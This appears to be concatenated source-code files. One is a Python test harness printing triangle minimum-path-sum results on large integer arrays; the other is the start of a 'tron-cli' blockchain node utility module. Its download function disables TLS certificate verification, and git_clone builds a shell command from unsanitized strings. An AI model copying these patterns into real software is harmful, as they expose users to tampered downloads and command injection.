# print(s.minimumTotal([[46],[43,61],[10,-16,3],[-26,41,36,-72],[-28,-76,-22,26,51],[56,-53,38,67,86,-45],[58,53,47,-52,-54,-95,56],[-54,-93,58,68,26,-4,-45,86],[75,28,27,12,33,98,35,87,1],[-13,20,25,-98,-13,11,-44,-77,-59,-97],[-53,-14,83,80,31,89,38,-1,15,-88,53],[-22,86,-41,-94,-25,68,-96,87,55,-18,-49,-25],[-93,-48,39,17,8,61,57,-13,-92,-79,-29,87,51],[-63,3,-72,29,-9,57,-93,-46,-84,88,29,83,69,-7],[15,-49,43,90,-43,94,29,50,-21,-33,-16,43,-26,4,90],[-61,-67,-96,18,-63,32,-91,93,16,-61,86,4,67,46,-27,-63],[-38,0,79,-48,56,51,80,-17,-70,-53,67,49,-3,-52,39,12,-43],[43,-93,-7,-48,91,-13,44,-69,-27,-74,74,95,-25,-88,-43,75,90,8],[8,41,-35,91,48,-12,35,-3,62,59,-86,-49,-83,56,-42,-14,84,-74,72],[6,-44,-78,31,-92,-82,-94,-81,-49,57,85,36,-34,4,77,-66,-71,-34,45,25],[-95,4,15,-45,-3,-52,-11,83,-67,15,32,38,47,54,-54,54,48,-72,72,75,85],[35,11,-72,-61,-11,-62,-33,31,82,68,35,-37,-16,66,37,31,-44,20,40,47,-71,-45],[-6,59,0,-51,7,5,97,-40,-10,32,70,-6,47,-41,31,-86,89,-10,59,1,29,-57,-32],[-34,73,0,62,-9,-53,91,45,17,50,-54,65,-65,50,40,-6,-83,-28,-59,-13,-80,0,94,-90],[-34,-39,68,67,89,-89,-88,-67,61,-12,71,-48,11,62,73,-72,-10,95,70,1,45,10,71,38,58],[-88,-98,54,-12,95,64,31,-44,9,-25,-77,20,-14,-45,-42,73,-74,-14,-16,65,-41,-12,-68,-45,-42,32],[76,44,-20,-8,3,-32,-7,-66,56,-11,97,-36,21,7,38,43,-96,-76,74,-62,73,-99,0,-66,42,58,21],[73,89,56,-18,43,0,61,-65,79,-71,27,-86,61,92,87,-98,-9,-29,39,-89,-49,39,85,-12,12,62,87,45],[4,23,-56,-46,12,99,35,-45,-24,-27,-34,-44,1,70,-54,-60,39,-67,-59,-70,-19,57,-59,31,-4,-97,96,85,64],[83,7,-55,-17,50,-2,72,49,-67,-96,-74,5,-30,-42,82,-60,3,98,78,12,-83,85,92,73,-97,24,-54,-95,20,-69],[45,-20,38,89,63,-12,-36,35,-85,-27,38,-83,77,84,-26,36,-99,53,12,56,-35,5,41,-42,-22,43,58,0,24,-45,31],[-31,34,-31,-65,-26,33,-2,85,24,70,1,40,24,-15,90,-63,-14,20,48,-81,85,-47,59,-80,7,-21,54,-92,-97,-91,15,-52],[19,60,-18,93,-30,79,55,94,49,-44,11,-27,18,-21,9,80,98,-65,98,60,-36,34,56,71,-87,10,55,-85,-5,-53,-38,-85,-93],[43,84,-47,-1,39,-53,-52,72,35,-3,-10,-86,82,-30,88,-83,-55,49,-19,78,5,-71,90,92,60,81,-13,-93,-80,1,89,39,-38,-81],[-62,-98,-57,-38,73,77,58,-60,67,40,-14,55,34,30,-19,91,-15,63,-80,-25,55,79,-67,-81,62,-71,-3,28,67,58,46,81,59,88,-57],[9,42,77,48,9,-6,-89,-58,-72,40,22,-81,-98,-15,-85,-24,-83,70,-15,-64,32,13,32,-63,-20,-10,60,-62,-73,48,-20,12,-9,-43,-62,76],[51,-52,-82,55,65,40,74,66,-98,88,-80,-81,59,4,-46,-32,94,62,5,-49,-48,-35,-11,-45,89,68,67,-43,-97,-95,-66,53,-71,-49,-15,93,67],[-41,37,69,-75,56,87,83,-63,-82,-49,-69,79,32,-18,-92,73,70,-37,63,15,-93,-80,17,87,-70,-53,-84,-42,32,86,-75,67,23,70,91,-44,34,51],[-8,51,79,23,7,11,81,-8,-38,28,31,-75,-57,37,-79,37,24,-72,60,16,-15,-31,-21,9,-63,-98,-43,-72,-43,90,79,49,19,58,-51,-74,-54,-93,-6],[7,34,-75,8,76,61,6,-10,-38,33,-49,55,-82,19,-66,3,32,-87,59,60,-31,27,16,94,-54,-49,-80,-52,-27,-74,42,80,59,66,-35,13,5,70,-97,43],[-20,-70,-25,-26,26,9,77,-42,21,13,94,66,-83,10,61,-38,37,57,-13,-89,83,-71,67,19,71,-91,-68,-47,79,-88,73,-41,-82,-52,33,43,56,-13,-98,-46,76],[72,-79,93,-17,58,-68,96,-8,18,-93,-25,23,50,71,-28,59,-97,1,15,90,-26,50,85,22,-17,28,-45,46,6,-14,0,-21,6,-30,38,-59,1,34,32,96,18,84],[-4,-32,55,67,-73,34,-54,18,2,19,-31,-13,-82,28,-85,-27,-25,-2,35,51,53,-59,-79,-9,-42,21,-98,66,-6,19,27,90,64,-18,34,67,93,79,-14,-5,-24,54,81],[-7,-18,72,42,33,-30,-23,-16,-77,-6,4,-10,28,-97,-8,-5,-4,-89,-78,-14,74,-19,97,42,-26,76,-72,68,-48,58,49,45,-60,-2,-36,73,68,41,-43,67,-65,38,-42,63],[40,49,-65,-64,36,-67,-1,-12,13,-4,-70,86,-51,-66,31,1,91,-43,-77,-69,55,-14,80,23,-96,-85,-33,-84,52,24,55,-8,-50,89,4,63,-78,79,-49,12,-25,-43,-25,24,-10],[-93,-98,-42,-37,-76,-35,-82,-14,-54,17,-10,-40,84,5,88,8,-40,-20,35,-74,60,-2,-76,40,48,35,91,-95,-89,-8,-29,93,-7,28,-44,-7,69,-26,79,91,67,-54,-72,51,27,-84],[-63,63,-28,71,65,-67,-54,88,49,93,1,40,74,-12,-90,-55,-19,2,49,13,72,-5,86,28,-13,31,73,14,-18,-23,30,18,-60,78,-34,-95,-89,11,69,36,4,-30,-23,-45,34,-14,-1],[-85,64,-75,28,13,20,-9,-59,83,-78,90,-3,-19,-33,-96,98,-17,59,-35,-36,69,75,-89,-17,-43,-43,36,11,91,98,87,82,62,88,-13,-24,-15,55,-7,-32,53,-16,42,-66,27,22,-67,87],[-19,-26,-49,-72,-51,-39,10,-18,18,-54,93,-14,-56,57,-32,82,45,55,-65,-69,-13,28,-25,-60,88,-83,-26,-8,16,6,-21,96,56,7,-99,81,67,10,-36,-38,32,-66,24,75,90,69,35,12,24],[69,19,-89,-26,71,-50,-61,87,0,31,-20,82,-90,-46,38,16,-46,20,-39,64,60,-1,-4,93,-99,-51,60,69,83,-51,-7,29,68,-20,80,39,6,-81,3,-93,49,60,65,36,-86,4,-71,-33,-99,-34],[-69,60,42,4,30,42,52,-10,11,12,15,80,-82,-17,-40,97,98,42,-83,-21,25,42,-61,-9,-45,-48,71,-16,18,71,26,26,31,-32,-93,-39,-90,35,27,20,-53,-58,0,-36,2,36,-61,-23,-44,-45,55],[80,73,93,-52,-71,-78,-81,12,17,66,-85,-80,-3,-17,-74,34,-8,60,-62,-87,83,-20,-11,-76,58,-74,-38,-65,-19,16,90,-62,-33,60,-37,-5,82,-42,83,-24,-75,97,-5,-2,-20,20,-67,72,-43,-30,61,-60],[26,-50,-37,-16,-25,25,19,32,-82,-14,70,-16,-54,-90,78,-95,-33,61,-20,-9,36,51,66,-84,-29,75,64,27,-55,25,43,48,52,-93,-91,-96,31,27,36,48,-87,-17,-90,-64,-8,87,-83,35,26,-3,-96,-38,-75],[69,-46,-27,44,95,76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print(s.dp(t))
print(s.dp([[46],[43,61],[10,-16,3],[-26,41,36,-72],[-28,-76,-22,26,51],[56,-53,38,67,86,-45],[58,53,47,-52,-54,-95,56],[-54,-93,58,68,26,-4,-45,86],[75,28,27,12,33,98,35,87,1],[-13,20,25,-98,-13,11,-44,-77,-59,-97],[-53,-14,83,80,31,89,38,-1,15,-88,53],[-22,86,-41,-94,-25,68,-96,87,55,-18,-49,-25],[-93,-48,39,17,8,61,57,-13,-92,-79,-29,87,51],[-63,3,-72,29,-9,57,-93,-46,-84,88,29,83,69,-7],[15,-49,43,90,-43,94,29,50,-21,-33,-16,43,-26,4,90],[-61,-67,-96,18,-63,32,-91,93,16,-61,86,4,67,46,-27,-63],[-38,0,79,-48,56,51,80,-17,-70,-53,67,49,-3,-52,39,12,-43],[43,-93,-7,-48,91,-13,44,-69,-27,-74,74,95,-25,-88,-43,75,90,8],[8,41,-35,91,48,-12,35,-3,62,59,-86,-49,-83,56,-42,-14,84,-74,72],[6,-44,-78,31,-92,-82,-94,-81,-49,57,85,36,-34,4,77,-66,-71,-34,45,25],[-95,4,15,-45,-3,-52,-11,83,-67,15,32,38,47,54,-54,54,48,-72,72,75,85],[35,11,-72,-61,-11,-62,-33,31,82,68,35,-37,-16,66,37,31,-44,20,40,47,-71,-45],[-6,59,0,-51,7,5,97,-40,-10,32,70,-6,47,-41,31,-86,89,-10,59,1,29,-57,-32],[-34,73,0,62,-9,-53,91,45,17,50,-54,65,-65,50,40,-6,-83,-28,-59,-13,-80,0,94,-90],[-34,-39,68,67,89,-89,-88,-67,61,-12,71,-48,11,62,73,-72,-10,95,70,1,45,10,71,38,58],[-88,-98,54,-12,95,64,31,-44,9,-25,-77,20,-14,-45,-42,73,-74,-14,-16,65,-41,-12,-68,-45,-42,32],[76,44,-20,-8,3,-32,-7,-66,56,-11,97,-36,21,7,38,43,-96,-76,74,-62,73,-99,0,-66,42,58,21],[73,89,56,-18,43,0,61,-65,79,-71,27,-86,61,92,87,-98,-9,-29,39,-89,-49,39,85,-12,12,62,87,45],[4,23,-56,-46,12,99,35,-45,-24,-27,-34,-44,1,70,-54,-60,39,-67,-59,-70,-19,57,-59,31,-4,-97,96,85,64],[83,7,-55,-17,50,-2,72,49,-67,-96,-74,5,-30,-42,82,-60,3,98,78,12,-83,85,92,73,-97,24,-54,-95,20,-69],[45,-20,38,89,63,-12,-36,35,-85,-27,38,-83,77,84,-26,36,-99,53,12,56,-35,5,41,-42,-22,43,58,0,24,-45,31],[-31,34,-31,-65,-26,33,-2,85,24,70,1,40,24,-15,90,-63,-14,20,48,-81,85,-47,59,-80,7,-21,54,-92,-97,-91,15,-52],[19,60,-18,93,-30,79,55,94,49,-44,11,-27,18,-21,9,80,98,-65,98,60,-36,34,56,71,-87,10,55,-85,-5,-53,-38,-85,-93],[43,84,-47,-1,39,-53,-52,72,35,-3,-10,-86,82,-30,88,-83,-55,49,-19,78,5,-71,90,92,60,81,-13,-93,-80,1,89,39,-38,-81],[-62,-98,-57,-38,73,77,58,-60,67,40,-14,55,34,30,-19,91,-15,63,-80,-25,55,79,-67,-81,62,-71,-3,28,67,58,46,81,59,88,-57],[9,42,77,48,9,-6,-89,-58,-72,40,22,-81,-98,-15,-85,-24,-83,70,-15,-64,32,13,32,-63,-20,-10,60,-62,-73,48,-20,12,-9,-43,-62,76],[51,-52,-82,55,65,40,74,66,-98,88,-80,-81,59,4,-46,-32,94,62,5,-49,-48,-35,-11,-45,89,68,67,-43,-97,-95,-66,53,-71,-49,-15,93,67],[-41,37,69,-75,56,87,83,-63,-82,-49,-69,79,32,-18,-92,73,70,-37,63,15,-93,-80,17,87,-70,-53,-84,-42,32,86,-75,67,23,70,91,-44,34,51],[-8,51,79,23,7,11,81,-8,-38,28,31,-75,-57,37,-79,37,24,-72,60,16,-15,-31,-21,9,-63,-98,-43,-72,-43,90,79,49,19,58,-51,-74,-54,-93,-6],[7,34,-75,8,76,61,6,-10,-38,33,-49,55,-82,19,-66,3,32,-87,59,60,-31,27,16,94,-54,-49,-80,-52,-27,-74,42,80,59,66,-35,13,5,70,-97,43],[-20,-70,-25,-26,26,9,77,-42,21,13,94,66,-83,10,61,-38,37,57,-13,-89,83,-71,67,19,71,-91,-68,-47,79,-88,73,-41,-82,-52,33,43,56,-13,-98,-46,76],[72,-79,93,-17,58,-68,96,-8,18,-93,-25,23,50,71,-28,59,-97,1,15,90,-26,50,85,22,-17,28,-45,46,6,-14,0,-21,6,-30,38,-59,1,34,32,96,18,84],[-4,-32,55,67,-73,34,-54,18,2,19,-31,-13,-82,28,-85,-27,-25,-2,35,51,53,-59,-79,-9,-42,21,-98,66,-6,19,27,90,64,-18,34,67,93,79,-14,-5,-24,54,81],[-7,-18,72,42,33,-30,-23,-16,-77,-6,4,-10,28,-97,-8,-5,-4,-89,-78,-14,74,-19,97,42,-26,76,-72,68,-48,58,49,45,-60,-2,-36,73,68,41,-43,67,-65,38,-42,63],[40,49,-65,-64,36,-67,-1,-12,13,-4,-70,86,-51,-66,31,1,91,-43,-77,-69,55,-14,80,23,-96,-85,-33,-84,52,24,55,-8,-50,89,4,63,-78,79,-49,12,-25,-43,-25,24,-10],[-93,-98,-42,-37,-76,-35,-82,-14,-54,17,-10,-40,84,5,88,8,-40,-20,35,-74,60,-2,-76,40,48,35,91,-95,-89,-8,-29,93,-7,28,-44,-7,69,-26,79,91,67,-54,-72,51,27,-84],[-63,63,-28,71,65,-67,-54,88,49,93,1,40,74,-12,-90,-55,-19,2,49,13,72,-5,86,28,-13,31,73,14,-18,-23,30,18,-60,78,-34,-95,-89,11,69,36,4,-30,-23,-45,34,-14,-1],[-85,64,-75,28,13,20,-9,-59,83,-78,90,-3,-19,-33,-96,98,-17,59,-35,-36,69,75,-89,-17,-43,-43,36,11,91,98,87,82,62,88,-13,-24,-15,55,-7,-32,53,-16,42,-66,27,22,-67,87],[-19,-26,-49,-72,-51,-39,10,-18,18,-54,93,-14,-56,57,-32,82,45,55,-65,-69,-13,28,-25,-60,88,-83,-26,-8,16,6,-21,96,56,7,-99,81,67,10,-36,-38,32,-66,24,75,90,69,35,12,24],[69,19,-89,-26,71,-50,-61,87,0,31,-20,82,-90,-46,38,16,-46,20,-39,64,60,-1,-4,93,-99,-51,60,69,83,-51,-7,29,68,-20,80,39,6,-81,3,-93,49,60,65,36,-86,4,-71,-33,-99,-34],[-69,60,42,4,30,42,52,-10,11,12,15,80,-82,-17,-40,97,98,42,-83,-21,25,42,-61,-9,-45,-48,71,-16,18,71,26,26,31,-32,-93,-39,-90,35,27,20,-53,-58,0,-36,2,36,-61,-23,-44,-45,55],[80,73,93,-52,-71,-78,-81,12,17,66,-85,-80,-3,-17,-74,34,-8,60,-62,-87,83,-20,-11,-76,58,-74,-38,-65,-19,16,90,-62,-33,60,-37,-5,82,-42,83,-24,-75,97,-5,-2,-20,20,-67,72,-43,-30,61,-60],[26,-50,-37,-16,-25,25,19,32,-82,-14,70,-16,-54,-90,78,-95,-33,61,-20,-9,36,51,66,-84,-29,75,64,27,-55,25,43,48,52,-93,-91,-96,31,27,36,48,-87,-17,-90,-64,-8,87,-83,35,26,-3,-96,-38,-75],[69,-46,-27,44,95,76,65,20,20,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print(s.dp_op(t))
print(s.dp_op([[46],[43,61],[10,-16,3],[-26,41,36,-72],[-28,-76,-22,26,51],[56,-53,38,67,86,-45],[58,53,47,-52,-54,-95,56],[-54,-93,58,68,26,-4,-45,86],[75,28,27,12,33,98,35,87,1],[-13,20,25,-98,-13,11,-44,-77,-59,-97],[-53,-14,83,80,31,89,38,-1,15,-88,53],[-22,86,-41,-94,-25,68,-96,87,55,-18,-49,-25],[-93,-48,39,17,8,61,57,-13,-92,-79,-29,87,51],[-63,3,-72,29,-9,57,-93,-46,-84,88,29,83,69,-7],[15,-49,43,90,-43,94,29,50,-21,-33,-16,43,-26,4,90],[-61,-67,-96,18,-63,32,-91,93,16,-61,86,4,67,46,-27,-63],[-38,0,79,-48,56,51,80,-17,-70,-53,67,49,-3,-52,39,12,-43],[43,-93,-7,-48,91,-13,44,-69,-27,-74,74,95,-25,-88,-43,75,90,8],[8,41,-35,91,48,-12,35,-3,62,59,-86,-49,-83,56,-42,-14,84,-74,72],[6,-44,-78,31,-92,-82,-94,-81,-49,57,85,36,-34,4,77,-66,-71,-34,45,25],[-95,4,15,-45,-3,-52,-11,83,-67,15,32,38,47,54,-54,54,48,-72,72,75,85],[35,11,-72,-61,-11,-62,-33,31,82,68,35,-37,-16,66,37,31,-44,20,40,47,-71,-45],[-6,59,0,-51,7,5,97,-40,-10,32,70,-6,47,-41,31,-86,89,-10,59,1,29,-57,-32],[-34,73,0,62,-9,-53,91,45,17,50,-54,65,-65,50,40,-6,-83,-28,-59,-13,-80,0,94,-90],[-34,-39,68,67,89,-89,-88,-67,61,-12,71,-48,11,62,73,-72,-10,95,70,1,45,10,71,38,58],[-88,-98,54,-12,95,64,31,-44,9,-25,-77,20,-14,-45,-42,73,-74,-14,-16,65,-41,-12,-68,-45,-42,32],[76,44,-20,-8,3,-32,-7,-66,56,-11,97,-36,21,7,38,43,-96,-76,74,-62,73,-99,0,-66,42,58,21],[73,89,56,-18,43,0,61,-65,79,-71,27,-86,61,92,87,-98,-9,-29,39,-89,-49,39,85,-12,12,62,87,45],[4,23,-56,-46,12,99,35,-45,-24,-27,-34,-44,1,70,-54,-60,39,-67,-59,-70,-19,57,-59,31,-4,-97,96,85,64],[83,7,-55,-17,50,-2,72,49,-67,-96,-74,5,-30,-42,82,-60,3,98,78,12,-83,85,92,73,-97,24,-54,-95,20,-69],[45,-20,38,89,63,-12,-36,35,-85,-27,38,-83,77,84,-26,36,-99,53,12,56,-35,5,41,-42,-22,43,58,0,24,-45,31],[-31,34,-31,-65,-26,33,-2,85,24,70,1,40,24,-15,90,-63,-14,20,48,-81,85,-47,59,-80,7,-21,54,-92,-97,-91,15,-52],[19,60,-18,93,-30,79,55,94,49,-44,11,-27,18,-21,9,80,98,-65,98,60,-36,34,56,71,-87,10,55,-85,-5,-53,-38,-85,-93],[43,84,-47,-1,39,-53,-52,72,35,-3,-10,-86,82,-30,88,-83,-55,49,-19,78,5,-71,90,92,60,81,-13,-93,-80,1,89,39,-38,-81],[-62,-98,-57,-38,73,77,58,-60,67,40,-14,55,34,30,-19,91,-15,63,-80,-25,55,79,-67,-81,62,-71,-3,28,67,58,46,81,59,88,-57],[9,42,77,48,9,-6,-89,-58,-72,40,22,-81,-98,-15,-85,-24,-83,70,-15,-64,32,13,32,-63,-20,-10,60,-62,-73,48,-20,12,-9,-43,-62,76],[51,-52,-82,55,65,40,74,66,-98,88,-80,-81,59,4,-46,-32,94,62,5,-49,-48,-35,-11,-45,89,68,67,-43,-97,-95,-66,53,-71,-49,-15,93,67],[-41,37,69,-75,56,87,83,-63,-82,-49,-69,79,32,-18,-92,73,70,-37,63,15,-93,-80,17,87,-70,-53,-84,-42,32,86,-75,67,23,70,91,-44,34,51],[-8,51,79,23,7,11,81,-8,-38,28,31,-75,-57,37,-79,37,24,-72,60,16,-15,-31,-21,9,-63,-98,-43,-72,-43,90,79,49,19,58,-51,-74,-54,-93,-6],[7,34,-75,8,76,61,6,-10,-38,33,-49,55,-82,19,-66,3,32,-87,59,60,-31,27,16,94,-54,-49,-80,-52,-27,-74,42,80,59,66,-35,13,5,70,-97,43],[-20,-70,-25,-26,26,9,77,-42,21,13,94,66,-83,10,61,-38,37,57,-13,-89,83,-71,67,19,71,-91,-68,-47,79,-88,73,-41,-82,-52,33,43,56,-13,-98,-46,76],[72,-79,93,-17,58,-68,96,-8,18,-93,-25,23,50,71,-28,59,-97,1,15,90,-26,50,85,22,-17,28,-45,46,6,-14,0,-21,6,-30,38,-59,1,34,32,96,18,84],[-4,-32,55,67,-73,34,-54,18,2,19,-31,-13,-82,28,-85,-27,-25,-2,35,51,53,-59,-79,-9,-42,21,-98,66,-6,19,27,90,64,-18,34,67,93,79,-14,-5,-24,54,81],[-7,-18,72,42,33,-30,-23,-16,-77,-6,4,-10,28,-97,-8,-5,-4,-89,-78,-14,74,-19,97,42,-26,76,-72,68,-48,58,49,45,-60,-2,-36,73,68,41,-43,67,-65,38,-42,63],[40,49,-65,-64,36,-67,-1,-12,13,-4,-70,86,-51,-66,31,1,91,-43,-77,-69,55,-14,80,23,-96,-85,-33,-84,52,24,55,-8,-50,89,4,63,-78,79,-49,12,-25,-43,-25,24,-10],[-93,-98,-42,-37,-76,-35,-82,-14,-54,17,-10,-40,84,5,88,8,-40,-20,35,-74,60,-2,-76,40,48,35,91,-95,-89,-8,-29,93,-7,28,-44,-7,69,-26,79,91,67,-54,-72,51,27,-84],[-63,63,-28,71,65,-67,-54,88,49,93,1,40,74,-12,-90,-55,-19,2,49,13,72,-5,86,28,-13,31,73,14,-18,-23,30,18,-60,78,-34,-95,-89,11,69,36,4,-30,-23,-45,34,-14,-1],[-85,64,-75,28,13,20,-9,-59,83,-78,90,-3,-19,-33,-96,98,-17,59,-35,-36,69,75,-89,-17,-43,-43,36,11,91,98,87,82,62,88,-13,-24,-15,55,-7,-32,53,-16,42,-66,27,22,-67,87],[-19,-26,-49,-72,-51,-39,10,-18,18,-54,93,-14,-56,57,-32,82,45,55,-65,-69,-13,28,-25,-60,88,-83,-26,-8,16,6,-21,96,56,7,-99,81,67,10,-36,-38,32,-66,24,75,90,69,35,12,24],[69,19,-89,-26,71,-50,-61,87,0,31,-20,82,-90,-46,38,16,-46,20,-39,64,60,-1,-4,93,-99,-51,60,69,83,-51,-7,29,68,-20,80,39,6,-81,3,-93,49,60,65,36,-86,4,-71,-33,-99,-34],[-69,60,42,4,30,42,52,-10,11,12,15,80,-82,-17,-40,97,98,42,-83,-21,25,42,-61,-9,-45,-48,71,-16,18,71,26,26,31,-32,-93,-39,-90,35,27,20,-53,-58,0,-36,2,36,-61,-23,-44,-45,55],[80,73,93,-52,-71,-78,-81,12,17,66,-85,-80,-3,-17,-74,34,-8,60,-62,-87,83,-20,-11,-76,58,-74,-38,-65,-19,16,90,-62,-33,60,-37,-5,82,-42,83,-24,-75,97,-5,-2,-20,20,-67,72,-43,-30,61,-60],[26,-50,-37,-16,-25,25,19,32,-82,-14,70,-16,-54,-90,78,-95,-33,61,-20,-9,36,51,66,-84,-29,75,64,27,-55,25,43,48,52,-93,-91,-96,31,27,36,48,-87,-17,-90,-64,-8,87,-83,35,26,-3,-96,-38,-75],[69,-46,-27,44,95,76,65,20,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|
py | 1a4ce2ce89ce8fbc452fec1c74ab0d9fcb469662 | #!/usr/bin/env python3
import os
import requests
import json
import sys
import psutil
import subprocess
import re
from colorama import Fore, Style, Back
from tqdm import tqdm
import urllib3
from troncli.constants import *
"""
Printing Messages
"""
def logo_simple():
print(Fore.RED + Style.BRIGHT + '')
print(' _________ ____ _ __ _______ ____')
print('/_ __/ _ \/ __ \/ |/ /___/ ___/ / / _/')
print(' / / / , _/ /_/ / /___/ /__/ /___/ / ')
print('/_/ /_/|_|\____/_/|_/ \___/____/___/ ')
print(Fore.RESET + Style.RESET_ALL + '')
def logo_shadow():
print(Fore.RED + '')
print('████████╗██████╗ ██████╗ ███╗ ██╗ ██████╗██╗ ██╗')
print('╚══██╔══╝██╔══██╗██╔═══██╗████╗ ██║ ██╔════╝██║ ██║')
print(' ██║ ██████╔╝██║ ██║██╔██╗ ██║█████╗██║ ██║ ██║')
print(' ██║ ██╔══██╗██║ ██║██║╚██╗██║╚════╝██║ ██║ ██║')
print(' ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚██████╗███████╗██║')
print(' ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝╚══════╝╚═╝')
print(Fore.RESET + '')
def progress_msg(content):
print(Fore.CYAN + '[ TRON-CLI ]: ' + content + '...' + Fore.RESET)
def imode_msg(content):
print(Back.BLUE + Fore.WHITE + Style.BRIGHT + '[ I-MODE ]: ' + Style.NORMAL + content + Fore.RESET + Back.RESET + Style.RESET_ALL)
def success_msg(content):
print(Fore.GREEN + '✓ : ' + content + Fore.BLACK)
def warning_msg(content):
print(Fore.YELLOW + '⚠ : ' + content)
def error_msg(content):
print(Fore.RED + '✖ : ' + content)
def info_msg(content):
print(Fore.MAGENTA + 'ⓘ: ' + content + Fore.RESET)
def info_msg_div():
print(Fore.MAGENTA + '------------------' + Fore.RESET)
def status_msg(category, detail):
if sys.stdout.isatty() and psutil.POSIX:
fmt = '%-13s %s' % (Fore.BLUE + Style.BRIGHT + str(category),
Fore.RESET + Style.RESET_ALL + str(detail))
else:
fmt = '%-11s %s' % (category, detail)
print(fmt)
def status_msg_div():
print(Fore.BLUE + Style.BRIGHT + '------------------' + Fore.RESET + Style.RESET_ALL)
def msg(content):
print(Fore.WHITE + ' ' + content + Fore.RESET)
def debug(content):
print(Fore.YELLOW + Style.BRIGHT + 'DEBUG: ' + content + Fore.RESET + Style.RESET_ALL)
def node_instruction():
info_msg('Tips: ')
info_msg('Check overall status:')
msg('tron-cli status')
info_msg('Check specific node status:')
msg('tron-cli status --node <node id>')
info_msg('Stop all nodes:')
msg('tron-cli stop')
info_msg('Stop specific node:')
msg('tron-cli stop --node <node id>')
def node_cmds(node_id):
info_msg('CMD Tips: ')
info_msg('Check overall status:')
msg('tron-cli status')
info_msg('Check current node status:')
msg('tron-cli status --node ' + str(node_id))
info_msg('Stop all nodes:')
msg('tron-cli stop')
info_msg('Stop current node:')
msg('tron-cli stop --node ' + str(node_id))
def recommendation():
info_msg_div()
info_msg('Hardware recommendation for running a full node: ')
msg('CPU: 64 cores')
msg('RAM: 64 GB')
info_msg_div()
def log_location(root_path, node_type):
if node_type == 'full':
return root_path + NODES_DIR + FULL_NODE_DIR + '/logs/tron.log'
elif node_type == 'sol':
return root_path + NODES_DIR + SOLIDITY_NODE_DIR + '/logs/tron.log'
else:
return 'not recording logs'
"""
Node List
"""
class Node(object):
def __init__(self):
self.root_path = os.getcwd()
# load or init node list file
if os.path.isfile(self.root_path + '/' + RUNNING_NODE_LIST_FILE):
phrase = Phrase()
self.node_list = phrase.load_json_file(self.root_path + '/' + RUNNING_NODE_LIST_FILE)
else:
self.node_list = {'live': {'full': [], 'sol': [], 'event': [], 'grid': [], 'all': [], 'version': ''},
'db': {'dbname': '', 'dbusername': '', 'dbpassword': ''},
'config': {'nettype': 'private',
'fullhttpport': 8500,
'solhttpport': 8600,
'eventhttpport': 8400,
'fullrpcport': 58500,
'solrpcport': 58600,
'eventrpcport': 58400,
'enablememdb': 'True',
'dbsyncmode': 'async',
'saveintertx': 'False',
'savehistorytx': 'False',
'gridport': 18891,
'dbname': 'Null',
'dbusername': 'Null',
'dbpassword': 'Null'},
'init_ed': False,
'config_ed': False
}
def get(self):
return self.node_list
def save(self):
with open(self.root_path + '/' + RUNNING_NODE_LIST_FILE, 'w') as file:
file.write(json.dumps(self.node_list))
def reset_config(self):
self.node_list['config'] = {'nettype': 'private',
'fullhttpport': 8500,
'solhttpport': 8600,
'eventhttpport': 8400,
'fullrpcport': 58500,
'solrpcport': 58600,
'eventrpcport': 58400,
'enablememdb': 'True',
'dbsyncmode': 'async',
'saveintertx': 'False',
'savehistorytx': 'False',
'gridport': 18891,
'dbname': 'Null',
'dbusername': 'Null',
'dbpassword': 'Null'}
self.save()
async def update_init_done(self, flag):
self.node_list['init_ed'] = flag
self.save()
async def update_config_done(self, flag):
self.node_list['config_ed'] = flag
self.save()
async def update_node_version(self, version):
self.node_list['live']['version'] = version
self.node_list['init_ed'] = True # need to move this logic back to cli.py
self.save()
async def update_running_node(self, node_type, pid, execution):
"""
node_type: "full" / "sol" / "event" / "grid"
pid: int
execution: "add" / "remove"
"""
if execution == 'add':
self.node_list['live'][node_type].append(pid)
self.node_list['live']['all'].append(pid)
elif execution == 'remove':
if pid in self.node_list['live']['full']:
self.node_list['live']['full'].remove(pid)
self.node_list['live']['all'].remove(pid)
elif pid in self.node_list['live']['sol']:
self.node_list['live']['sol'].remove(pid)
self.node_list['live']['all'].remove(pid)
elif pid in self.node_list['live']['event']:
self.node_list['live']['event'].remove(pid)
self.node_list['live']['all'].remove(pid)
elif pid in self.node_list['live']['grid']:
self.node_list['live']['grid'].remove(pid)
self.node_list['live']['all'].remove(pid)
else:
warning_msg('process id: ' + str(pid) + ' not in the running node list')
else:
error_msg('wrong execution key word: ' + str(execution))
self.save()
# with open(self.root_path + '/' + RUNNING_NODE_LIST_FILE, 'w') as file:
# file.write(json.dumps(self.node_list))
async def update_db_settings(self, dbname, dbusername, dbpassword):
self.node_list['db']['dbname'] = dbname
self.node_list['db']['dbusername'] = dbusername
self.node_list['db']['dbpassword'] = dbpassword
self.save()
# with open(self.root_path + '/' + RUNNING_NODE_LIST_FILE, 'w') as file:
# file.write(json.dumps(self.node_list))
async def update_config(self, nettype, fullhttpport, solhttpport,
eventhttpport, fullrpcport, solrpcport, eventrpcport,
enablememdb, dbsyncmode, saveintertx, savehistorytx,
gridport, dbname, dbusername, dbpassword):
self.node_list['config']['nettype'] = nettype
self.node_list['config']['fullhttpport'] = fullhttpport
self.node_list['config']['solhttpport'] = solhttpport
self.node_list['config']['eventhttpport'] = eventhttpport
self.node_list['config']['fullrpcport'] = fullrpcport
self.node_list['config']['solrpcport'] = solrpcport
self.node_list['config']['eventrpcport'] = eventrpcport
self.node_list['config']['enablememdb'] = enablememdb
self.node_list['config']['dbsyncmode'] = dbsyncmode
self.node_list['config']['saveintertx'] = saveintertx
self.node_list['config']['savehistorytx'] = savehistorytx
self.node_list['config']['gridport'] = gridport
self.node_list['config']['dbname'] = dbname
self.node_list['config']['dbusername'] = dbusername
self.node_list['config']['dbpassword'] = dbpassword
self.node_list['config_ed'] = True
self.save()
"""
Download
"""
async def download(file_name, url_string):
with open(file_name, 'wb') as f:
# remove ssl warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
resp = requests.get(url_string + '/' + file_name,
verify=False, stream=True)
except OSError as err:
# pbar.update(0)
error_msg('OS Error -' + str(err))
os.sys.exit()
else:
with tqdm(total=100) as pbar:
total_length = resp.headers.get('content-length')
if total_length is None:
pbar.update(100)
pbar.close()
f.write(resp.content)
else:
_chunk_num = 10
_chunk_size = int(int(total_length) / _chunk_num) + 1
for data in resp.iter_content(chunk_size=_chunk_size):
f.write(data)
pbar.update(_chunk_num)
pbar.close()
async def git_clone(host, branch, tar_path):
progress_msg('Git cloning ' + host + '-branch: ' + branch)
cmd = 'git clone --single-branch -b ' + branch + ' ' + host
